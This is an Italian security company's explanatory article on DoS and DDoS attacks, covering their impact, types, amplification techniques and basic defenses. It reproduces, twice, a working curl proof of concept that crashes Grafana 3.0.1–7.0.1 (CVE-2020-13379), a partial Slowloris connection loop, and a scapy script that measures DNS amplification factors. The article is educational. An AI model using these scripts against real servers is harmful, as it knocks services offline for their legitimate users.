← News DIFESA
6 min lettura 1203 parole
Attacchi Informatici Cybersecurity Difesa Glossario Vulnerabilità

Dos e DDoS

di Marco Dal Broi

Un attacco DoS (Denial of Service) è un tipo d’attacco informatico in cui un criminale tenta di rendere inaccessibile un sistema informatico,

Dos e DDoS

Un attacco DoS (Denial of Service) è un tipo d’attacco informatico in cui un criminale tenta di rendere inaccessibile un sistema informatico, una rete o un servizio (da un singolo dispositivo). Un attacco DDoS (Distributed Denial of Service) è, invece, un tipo di attacco informatico in cui l’attaccante utilizza più dispositivi per provocare un disservizio.

IMPATTO

Gli attacchi DoS e DDoS possono avere impatti significativi sulle strutture colpite, tra cui:

  • Blocco dei servizi: gli utenti autorizzati, dunque, non potranno più accedere ai servizi/sistemi con conseguente blocco della produttività/funzionalità.
  • Perdita/Danneggiamento di dati: il blocco improvviso di un sistema può provocare, a determinate condizioni, perdite o danneggiamento dei dati
TIPOLOGIE D'ATTACCO

Esistono varie tipologie di attacchi DoS:

  1. Attacchi volumetrici: questi attacchi si basano sull’invio di un numero elevato di richieste a un sistema in modo da sovraccaricarlo e renderlo inaccessibile.
  2. Attacchi mirati all’esaurimento delle risorse: questi attacchi si basano sull’utilizzo eccessivo di una o più risorse del sistema puntando ad esaurirle e rendere, di conseguenza, inaccessibile il servizio/sistema (questo lo si può fare anche su di un server DNS: in questo caso si parla di DNS Flood Attack).
  3. Exploit di vulnerabilità: sfruttare alcune vulnerabilità di alcuni componenti o funzioni del sistema può comportare il crash dell’applicativo/servizio.

Nel caso in cui l’attacco (volumetrico o mirato all’esaurimento delle risorse), venga effettuato da più dispositivi, si parla di attacco DDoS.

ESEMPIO D'ATTACCO

Prendiamo come esempio una vulnerabilità DoS afferente alle versioni da 3.0.1 a 7.0.1 di Grafana, la ben nota soluzione per la visualizzazione dati opensource.

Queste versioni sono affette da una vulnerabilità (CVE-2020-13379) di tipo SSRF (Server-Side Request Forgery) derivante da un incorretto controllo degli accessi (Improper Access Control) che consente ad un utente non autenticato di effettuare una richiesta HTTP circa gli avatar. Tale vulnerabilità, può essere utilizzata sia per ottenere informazioni utili ad altri attacchi sia a provocare un Denial of Service, nel caso in cui venga effettuata una richiesta contenente uno URL non valido.

Il Proof of Concept iniziale, realizzato nel 2020, è il seguente:

# Exploit Title: Grafana 7.0.1 - Denial of Service (PoC)


# Date: 2020-05-23


# Exploit Author: mostwanted002


# Vendor Homepage: https://grafana.com/


# Software Link: https://grafana.com/grafana/download


# Version: 3.0.1 - 7.0.1


# Tested on: Linux


# CVE : CVE-2020-13379



#!/bin/bash



if
 
[
[
 
$1
 
!=
 
""
 
]
]
;
 
then

    
curl
 -I 
"
${1}
/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D"


else

    
echo
 
"Usage: grafana-dos.sh <TARGET>.   Example: grafana-dos.sh http://localhost:3000"


fi

Eseguendo questo semplice codice, dunque, è possibile provocare un errore di Segmentazione nell’istanza di Grafana (non riesce dunque a gestire l’eccezione circa lo URL non corretto fornitogli) e provocare il crash dell’applicativo.

Un altro esempio d’attacco DoS è quello denominato “SlowLoris”. In questo caso particolare, anziché inviare al server quante più informazioni possibili, vengono aperte, in contemporanea, molteplici sessioni valide e queste vengono mantenute effettuando nuove richieste (con cadenza periodica) per mantenere riservate le relative risorse del sistema.

Il relativo codice di un exploit assomiglierà a questo:

for
 i 
in
 
range
(
numero_sessioni_desiderate
)
:

	
try
:

		s 
=
 socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)

		s
.
settimeout
(
timeout_desiderato
)


		s
.
connect
(
(
ip
,
port
)
)

		connessioni
.
append
(
s
)

	
except
:

		
break



while
 
True
:

	
for
 s 
in
 connessioni
:

		
try
:

			line 
=
 
f"GET /?
{
random_number
}
 HTTP/1.1"

			line 
=
 
f"
{
line
}
\r\n"
.
encode
(
"utf-8"
)


			
# Richiesta


		
except
 socket
.
error
:

			
# Eccezione
TECNICHE DI AMPLIFICAZIONE

Esistono diversi tipi di attacchi di amplificazione DoS, tra cui:

  • Attacchi di amplificazione DNS: in questo tipo di attacco, l’attaccante invia un numero elevato di richieste di interrogazione DNS a un server DNS. Il server DNS risponderà a ogni richiesta inviando un numero elevato di pacchetti di risposta, che sovraccaricheranno il sistema di destinazione.
  • Attacchi di amplificazione NTP: in questo tipo di attacco, l’attaccante invia un numero elevato di richieste di sincronizzazione NTP a un server NTP. Il server NTP risponderà a ogni richiesta inviando un numero elevato di pacchetti di risposta, che sovraccaricheranno il sistema di destinazione.
  • Attacchi di amplificazione ICMP: in questo tipo di attacco, l’attaccante invia un numero elevato di richieste ICMP a un sistema. Il sistema risponderà a ogni richiesta inviando un numero elevato di pacchetti di risposta, che sovraccaricheranno il sistema di destinazione.

Per esempio, per effettuare un’amplificazione DNS, si potrebbe ricorrere a uno script di questo genere:

# Imports


from
 scapy
.
all
 
import
 
*


from
 pprint 
import
 pprint

import
 operator


# Parameters

interface 
=
 
"eth0"
                      
# Interface you want to use

dns_source 
=
 
"local-ip"
                 
# IP of that interface

dns_destination 
=
 
[
"ip1"
,
"ip2"
,
"ip3"
]
   
# List of DNS Server IPs


time_to_live 
=
 
128
                                                                 
# IP TTL

query_name 
=
 
"google.com"
                                                          
# DNS Query Name

query_type 
=
 
[
"ANY"
,
 
"A"
,
"AAAA"
,
"CNAME"
,
"MX"
,
"NS"
,
"PTR"
,
"CERT"
,
"SRV"
,
"TXT"
,
 
"SOA"
]
 
# DNS Query Types



# Initialise variables

results 
=
 
[
]

packet_number
=
0



# Loop through all query types then all DNS servers


for
 i 
in
 
range
(
0
,
len
(
query_type
)
)
:

    
for
 j 
in
 
range
(
0
,
 
len
(
dns_destination
)
)
:

        packet_number 
+=
 
1


        
# Craft the DNS query packet with scapy

        packet 
=
 IP
(
src
=
dns_source
,
 dst
=
dns_destination
[
j
]
,
 ttl
=
time_to_live
)
 
/
 UDP
(
)
 
/
 DNS
(
rd
=
1
,
 qd
=
DNSQR
(
qname
=
query_name
,
 qtype
=
query_type
[
i
]
)
)


        
# Sending the packet

        
try
:

            query 
=
 sr1
(
packet
,
iface
=
interface
,
verbose
=
False
,
 timeout
=
8
)

            
print
(
"Packet #{} sent!"
.
format
(
packet_number
)
)

        
except
:

            
print
(
"Error sending packet #{}"
.
format
(
packet_number
)
)


        
# Creating dictionary with received information

        
try
:

            result_dict 
=
 
{

                
'dns_destination'
:
dns_destination
[
j
]
,

                
'query_type'
:
query_type
[
i
]
,

                
'query_size'
:
len
(
packet
)
,

                
'response_size'
:
len
(
query
)
,

                
'amplification_factor'
:
 
(
 
len
(
query
)
 
/
 
len
(
packet
)
 
)
,

                
'packet_number'
:
packet_number
            
}

            results
.
append
(
result_dict
)

        
except
:

            
pass



# Sort dictionary by the amplification factor

results
.
sort
(
key
=
operator
.
itemgetter
(
'amplification_factor'
)
,
reverse
=
True
)



# Print results

pprint
(
results
)

Il codice originale di questo script lo potete trovare su Github.

TECNICHE DI DIFESA

Come abbiamo visto, gli attacchi di amplificazione DoS possono essere molto dannosi e possono rendere inaccessibili i sistemi di destinazione per un lungo periodo di tempo. Per proteggersi da questi attacchi, è importante adottare una serie di misure di sicurezza, tra cui:

  • Mantenere aggiornati i software
  • Utilizzare firewall e altri sistemi di sicurezza (WAF, etc.)
  • Monitorare il traffico di rete per rilevare anomalie.
  • Gestire correttamente le eccezioni
python
# Imports
from scapy.all import *
from pprint import pprint
import operator

# Parameters
interface = "eth0"                      # Interface you want to use
dns_source = "local-ip"                 # IP of that interface
dns_destination = ["ip1","ip2","ip3"]   # List of DNS Server IPs

time_to_live = 128                                                                 # IP TTL 
query_name = "google.com"                                                          # DNS Query Name
query_type = ["ANY", "A","AAAA","CNAME","MX","NS","PTR","CERT","SRV","TXT", "SOA"] # DNS Query Types

# Initialise variables
results = []
packet_number=0

# Loop through all query types then all DNS servers
for i in range(0,len(query_type)):
    for j in range(0, len(dns_destination)):
        packet_number += 1

        # Craft the DNS query packet with scapy
        packet = IP(src=dns_source, dst=dns_destination[j], ttl=time_to_live) / UDP() / DNS(rd=1, qd=DNSQR(qname=query_name, qtype=query_type[i]))
        
        # Sending the packet
        try:
            query = sr1(packet,iface=interface,verbose=False, timeout=8)
            print("Packet #{} sent!".format(packet_number))
        except:
            print("Error sending packet #{}".format(packet_number))
        
        # Creating dictionary with received information
        try:
            result_dict = {
                'dns_destination':dns_destination[j],
                'query_type':query_type[i],
                'query_size':len(packet),
                'response_size':len(query),
                'amplification_factor': ( len(query) / len(packet) ),
                'packet_number':packet_number
            }
            results.append(result_dict)
        except:
            pass

# Sort dictionary by the amplification factor
results.sort(key=operator.itemgetter('amplification_factor'),reverse=True)

# Print results
pprint(results)
python
for i in range(numero_sessioni_desiderate):
	try:
		s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
		s.settimeout(timeout_desiderato)

		s.connect((ip,port))
		connessioni.append(s)
	except:
		break

while True:
	for s in connessioni:
		try:
			line = f"GET /?{random_number} HTTP/1.1"
			line = f"{line}\r\n".encode("utf-8")

			# Richiesta

		except socket.error:
			# Eccezione
bash
# Exploit Title: Grafana 7.0.1 - Denial of Service (PoC)
# Date: 2020-05-23
# Exploit Author: mostwanted002
# Vendor Homepage: https://grafana.com/
# Software Link: https://grafana.com/grafana/download
# Version: 3.0.1 - 7.0.1
# Tested on: Linux
# CVE : CVE-2020-13379

#!/bin/bash

if [[ $1 != "" ]]; then
    curl -I "${1}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D"
else
    echo "Usage: grafana-dos.sh &lt;TARGET&gt;.   Example: grafana-dos.sh http://localhost:3000"
fi

Stai esplorando i nostri servizi?

Parla con un esperto: ti guidiamo verso la soluzione più adatta alla tua azienda.

Contattaci ora